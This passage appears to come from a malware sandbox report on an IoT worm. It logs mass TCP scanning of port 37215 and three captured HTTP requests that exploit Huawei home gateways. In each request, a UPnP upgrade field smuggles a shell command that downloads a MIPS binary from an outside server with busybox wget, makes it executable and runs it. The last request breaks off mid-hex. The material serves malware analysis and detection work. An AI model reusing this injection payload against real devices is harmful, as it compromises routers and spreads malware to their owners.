      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.254.242.178:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.174.224.234:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.170.64.222:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.88.170.40:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.181.102.233:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.109.217.201:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.23.128.97:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.64.192.123:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.241.14.156:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.46.216.130:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.204.174.4:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.199.29.184:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.14.91.1:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.10.245.60:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.24.14.161:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.5.73.241:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.97.245.108:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.49.29.195:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.193.22.172:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.178.205.15:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.27.118.153:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.251.154.91:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.230.241.178:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.13.147.195:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.109.149.35:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.112.34.224:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.134.29.91:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.46.234.35:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.25.185.29:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.171.44.224:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.225.1.126:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.50.195.51:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.63.140.1:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.72.93.6:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.112.255.226:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.185.179.147:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.42.63.65:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.240.138.44:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.29.184.52:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.132.81.165:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.202.105.232:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.152.94.102:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.232.145.52:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.169.101.19:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.64.246.135:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.60.252.84:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.197.228.81:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.9.36.179:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.246.87.25:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.39.47.18:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.195.238.44:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.66.54.10:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.236.109.33:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.135.144.68:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.32.146.77:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.43.135.97:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.74.251.202:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.131.207.73:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.10.194.6:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.108.176.84:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.56.94.85:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.78.113.75:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.75.158.188:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.199.72.122:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.21.144.120:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.236.216.248:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.9.157.242:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.198.54.143:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.192.196.111:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.1.32.170:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.236.67.220:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.125.134.122:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.230.76.210:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.144.64.69:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.107.54.60:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.245.10.13:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.69.48.36:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.183.80.109:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.131.113.221:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.128.25.105:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.141.43.97:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.118.114.77:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.61.141.124:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.6.184.211:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.25.184.9:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.37.241.28:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.13.18.120:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.251.75.136:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.209.96.85:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.166.2.182:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.39.214.29:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.156.206.112:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.98.190.45:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.87.52.70:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.9.230.78:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.37.153.229:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.116.109.53:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.13.216.106:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.241.16.176:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.234.127.94:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.232.166.204:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.82.95.191:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.176.194.177:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.35.126.249:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.188.178.127:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.1.43.203:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.176.63.117:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.203.246.98:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.39.73.120:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.54.138.70:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.160.86.47:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.252.196.99:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.206.138.156:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.251.156.108:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.176.8.53:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.40.232.118:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.172.179.213:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.70.21.62:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.235.5.123:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.109.208.231:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.189.185.242:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.170.170.126:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.232.172.113:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.163.116.224:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.181.163.132:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.167.221.13:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.201.84.239:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.199.3.197:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.21.94.218:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.156.174.193:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.79.161.3:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.170.116.97:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.241.20.34:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.134.133.75:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.19.255.181:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.32.43.103:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.40.93.142:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.3.209.55:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.224.42.42:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.179.10.185:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.240.37.199:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.123.245.2:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.167.162.24:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.248.37.153:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.142.40.7:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.182.36.156:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.192.16.219:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.142.197.87:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.100.207.133:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.28.47.39:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.101.25.77:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.183.46.33:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.144.175.14:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.92.6.201:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.120.179.113:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.149.65.50:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.102.14.108:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.224.118.6:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.202.22.64:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.204.243.234:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.214.106.54:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.112.45.242:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.203.102.204:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.162.124.211:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.152.19.184:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.105.125.66:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.30.121.137:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.86.204.94:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.216.119.36:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.45.221.136:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.185.32.162:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.132.16.96:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.73.239.34:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.99.254.237:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.18.100.63:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.36.209.239:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.252.46.62:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.32.211.124:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.245.156.86:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.22.138.166:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.29.32.195:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.33.175.167:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.65.222.124:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.81.244.249:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.209.34.227:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.206.26.217:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.177.46.242:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.251.18.246:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.138.84.158:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.194.118.8:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.197.70.10:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.103.135.251:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.119.204.183:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.178.204.94:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.173.239.82:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.166.51.48:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.221.238.57:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.184.31.145:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.196.89.64:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.174.187.95:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.156.175.206:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.13.10.245:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.120.68.174:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.139.108.180:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.37.137.137:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.66.43.31:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.99.103.33:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.133.70.184:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.158.85.229:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.71.179.79:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.76.8.132:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.45.31.83:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.182.195.99:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.72.214.103:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.147.19.13:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.146.59.111:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.88.229.230:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.135.74.151:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.73.3.219:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.90.207.190:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.150.18.29:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.190.9.158:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.186.232.103:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.65.249.145:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.76.205.59:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.6.252.28:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.29.108.115:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.141.70.76:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.162.3.193:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.160.0.4:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.51.179.126:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.250.205.202:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.89.198.160:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.193.54.96:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.125.32.153:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.215.145.151:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.188.46.117:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.238.12.200:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.7.138.113:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.239.222.242:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.99.115.212:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.114.231.89:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.23.116.45:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.253.91.29:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.243.21.171:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.177.150.203:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.37.170.68:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.186.29.223:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.82.108.131:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.128.107.212:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.85.86.179:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.243.15.148:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 197.243.123.91:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.12.80.146:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.33.235.124:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 41.180.210.235:37215
      Source: global trafficTCP traffic: 192.168.2.13:46559 -> 156.51.156.9:37215
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 